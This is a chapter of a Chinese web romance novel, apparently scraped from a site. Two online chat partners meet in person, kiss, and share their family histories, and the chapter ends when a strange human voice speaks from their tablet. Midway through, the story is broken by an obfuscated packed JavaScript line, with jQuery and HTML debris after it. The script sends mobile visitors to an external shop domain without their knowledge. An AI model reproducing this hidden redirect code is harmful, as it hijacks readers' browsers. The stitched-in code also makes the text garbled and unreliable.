陆焰把沈栖梧带到了一个小山坡。
“这是我发现的秘密基地!”陆焰把一块干净的布铺在一块平整的石台上。
沈栖梧四处看了看,“很不错的放空地儿,背靠城内,面朝大山,你还挺会享受。”
“我刚发现它时,就想跟你一起在这儿坐坐,没想到今天真的实现了。”陆焰拍开酒壶的泥封,又从怀里拿出油纸包的肉干儿,摊开在布垫上。
沈栖梧盘腿坐下,看着他忙忙碌碌的,还解下腰间的皮囊,打开往碗里倒。
“这是什么?”沈栖梧接过碗,看着碗内乳白色的半凝固状液体。
“酸酪,”陆焰给自己倒了一碗酒说,“炊事班师傅跟北蛮人学的,我觉得其实就是酸奶,挺好喝的,你尝尝。”
沈栖梧拿着木勺尝了一口,“唔,好浓郁的奶香味儿,酸度也正好。”
“好吃。”
陆焰的视线再一次不受控地盯住她的唇,伸手自然的落在她的唇角,拇指轻轻一抹,带走乳白的酸奶,放进自己嘴里。
“确实好吃。”
沈栖梧放下酸奶,曲起左腿,胳膊撑到膝盖上支颐,侧头挑眉:“陆焰,咱们俩,得好好谈谈了。”
“求之不得,”陆焰把坐姿调整到和她的对称,歪头笑着问:“小姐姐想谈什么,我一定毫无保留,绝对真诚。”
“你在那个陪聊APP里,”沈栖梧问:“用的是真声吗?”
“不是。”陆焰摇头,回答得干脆。
沈栖梧眼神变冷了,“你是注册主播,还是普通用户?”
“注册主播。”陆焰说,喉结滚动。
沈栖梧表情也淡了,“你的陪聊对象有多少?”
“一位,”陆焰竖起一根手指,“有且仅有一位。”
沈栖梧压低眉眼,看着他又问:“一直都是吗?”
“从开始,到现在,”陆焰和她对视的目光不躲不闪,“一直都是同一个人,从未变过。”
沈栖梧垂下眼帘,又抬起,“为什么?在你遇到你的聊天儿对象之前,也没聊过其他人?”
“不瞒你说,我注册之后做的第一件事,就写了个小程序,把这个APP里所有用户的公开信息卡全扒了一遍。”陆焰说。
沈栖梧看他一脸“求表扬,快来问我呀!”的嘚瑟表情,笑了笑,从善如流地问:“为什么呢?”
“我有精神洁癖,”陆焰指着自己的鼻子说,“我就是奔着找soulmate,才用这个软件的,必须先过一遍个人信息,那些一看就是图财图色的,通通先过滤掉。”
“我很幸运,”陆焰看着她说,“第一个连线,就遇到了我的soulmate,Phoenix。”
沈栖梧笑了,她放下腿,双手撑在身后,仰头望着干净的泛着微蓝色的夜空,闪烁的繁星倒映在她琥珀色透亮的眼中。
她拽出藏在翻领圆袍下的项链,露出凤鸟镂空形状的坠子,侧头笑问:“认识吗?Ignis。”
陆焰靠近,伸手,摩挲着吊坠,声音低沉温柔,“再熟悉不过了,Phoenix。”
他们终于在三次元世界,面对面,呢喃着,呼唤出对方的英文网名。
Phoenix,浴火重生的不死神鸟凤凰。
Ignis,火,纯粹的火。
他们该死的般配。
沈栖梧端起陆焰的酒碗,喝了一大口,左手端着半碗残酒,仔细看他的眼睛。
近在咫尺的深邃眉眼,看得久了,仿佛望向微蓝星空,让她只想一头扎进去,沉沦。
她右臂勾上他的脖颈,一把将他拉近,直至两瓣唇上下交错、交叠,如卯榫般契合。
她听到陆焰乱了的呼吸声,她的侧脸感受到他厚实温暖的掌心,那轻柔暖意,让她脸上的绒毛都忍不住颤栗。
她轻咬一口他的下唇,想要确认,这是真实的,并非午夜梦回的臆想。
“嘶——”陆焰吸气,不解扬眉。
沈栖梧哼笑一声,看他因自己而染上不同的风情,让她心底产生一种微妙的快|感,她又加重力道咬下去。
“唔——”陆焰的一双蓝宝石朝她眨眼。
她右臂用力搂紧,红唇微启,吮吻舔舐着她给他的咬痕。
左手里的半碗残酒晃荡着,直至酒水撞击碗壁的声音再也压不住缠绵的吻声,酒水洒落。
陆焰接过酒碗,一口闷,甩一旁。
他再次吻上眼前的湿润唇瓣。
空酒碗在布垫上滚了好几圈才停下,独留缠绵黏腻的摩擦水声,在这片方寸之地不断响起。
“你……”陆焰被沈栖梧的胳膊放开,眼睛亮亮的看着她,“为什么亲我?”
“啧,”沈栖梧拾起碗,又给自己倒了一碗酒,“得了便宜还卖乖么。”
陆焰和她并排坐,肩膀挨着肩膀,“不是,我是想确认一下,咱俩,都亲过了,算是正式谈恋爱了吗?”
“不算。”沈栖梧说。
“啊?!”陆焰瞪大眼睛,“你都亲我了,不能不负责!”
“你成年了吧,”沈栖梧说,“成年人的谈情说爱,只存在我的笔下,我的纸片孩子们才能拥有。”
“和你,”沈栖梧勾住他的腰带,“我更想心情好时来一发,其余时间,我们保持距离,慢慢了解,你说呢。”
陆焰感觉全身血液不争气地涌向脐下三寸,喉结滚了几滚,声音沙哑:“我的身心,都想和你谈情说爱。”
“尤其是心。”
沈栖梧挑了挑眉,松开他,撕了一条肉丝,吃前问:“好啊,你的心,我从何处开始了解呢?”
“目前为止,我的人生很简单。”陆焰掰着手指说。
“我爹靠着他爹,出国留学回来创业,赶上无人机风口,飞了。”
“我妈法国人爱浪漫,一看我爹竟然是事业狂,甩了他回法国搞艺术,重新有了爱情,小日子过得很幸福。”
“我呢,一路都读最好的学校,却缺失父爱母爱,只能看小说找精神慰藉。
直到高中,我在网上喷一个作者写的啥玩意儿狗屁不通,人回我:有本事别逼逼你给我写一个。
为了啪啪打他脸,我就写了,之后的事你就知道啦,哥们儿本本爆火。”
沈栖梧鼓掌,很平静地问:“所以,你谈恋爱,才要找比你年长的?想找母爱?”
“不不不!”陆焰疯狂摇手,“我完全独立自主,不是想被呵护。
我只是想找一个身心皆契合的爱人,组建属于我的家庭。”
“嗯。”沈栖梧点头,一口肉干,一口酒。
“那,你呢?”陆焰和她碰了个杯,试探地问。
“我爸,是缉毒警察,没等到退休就牺牲了。”
“我妈,报社编辑,恋爱脑,跟着去了。”
沈栖梧说得云淡风轻,只看表情,会让人误以为她在说别人的爸妈。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17791155|209189||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
陆焰倒吸一口气,“抱歉……”
“你抱什么歉?别学西方那套I'msorry,”沈栖梧打断他,“我一直搞不懂他们sorry个什么劲儿。”
“那,节哀顺变?”陆焰改口。
“谢谢,”沈栖梧点点头,“我确实顺变了。”
“嗯?”陆焰问,“怎么说?”
“他俩都赶在了我高考前走的,好像约好要躲避高考似的,”沈栖梧摩挲着手指,想抽烟,加快语速说:“家里就剩我一个人了,我好像突然就没了目标,不知道活着还能干嘛。”
陆焰提着一口气,握上她的手。
“那个时候,我刚和书凤阁签约,申签文才写了几万字,我的大纲可是按照百万字写的。”
“你知道的,我不喜欢欠人情。编辑给了我信任,给了我签约合同。
读者也有了几十位在追更……”
“所以我告诉自己,等高考完,我把这本书完结掉,这一世就结束了。”
“然后呢?”陆焰放轻声音问。
沈栖梧轻笑了一下,“后来完结了,这本书竟然意外的爆了,有了上万读者留评,希望能读到我的下一本。”
“于是我就又开了一本,一本又一本……莫名其妙地就一直写到了现在。”
“那我一定要好好感谢你的读者们!”陆焰握紧她变凉的手,想暖热她,“等我们回去现代,我就注册书凤阁,给你所有的读者都发阅读币,一人发1000阅读币!
感谢她们把你留下,让我有机会遇见你。”
沈栖梧被逗乐了,“你算账了吗?1000阅读币就等于10元,我估计有百万读者,你得送出去上千万人民币!”
“送!”陆焰豪气地挥手,“你的生命是无价的,我把赚的钱全送给她们都无法表达我的感谢。”
沈栖梧看着他,捏着他的下巴摇了摇,亲了他一口,和他隔着若即若离的距离轻声说:“你不谢谢我吗?我这十年,一个人过得,好痛苦……”
陆焰双手虔诚地捧着她的脸颊,说:“我的栖梧好勇敢。”
亲一口她的眉心。
“能抛开自己的痛苦不停创作一个又一个精彩的世界。”
亲一口她挺立的鼻尖。
“我的栖梧好有责任心。”
亲一口她的右脸颊。
“从不断更,从不太监、烂尾,从不当咕咕。”
亲一口她的左脸颊。
“我的栖梧从没有放弃自我拯救。”
亲一口她饱满的唇峰。
“选择了同一款陪聊软件,让我有机会与你相识相知,爱上你。”
沈栖梧努力睁大眼睛,不让眼眶里蓄满的泪水溢出来。
她一拳捶在陆焰的胸口,眼泪被晃出来。
“再打几拳,宝贝儿,”陆焰砰砰拍拍自己练得结实的胸肌,“想哭就哭,想笑就笑,想makelove都行!”
“什么怪癖!”沈栖梧又被逗笑了,拿出手帕擦脸,突然就觉得一身轻松。
痛苦,果然需要分享吗?
【人类最真实的情感表达,果然是AI模仿无法超越的。】
陌生的男声突然从他们随身携带的平板里传来。
沈栖梧和陆焰对视一眼:这个声音,不是他们已经熟悉的系统声。
而是带着明显呼吸声的、人类的声音!
“你是谁?”陆焰蹙起眉头问。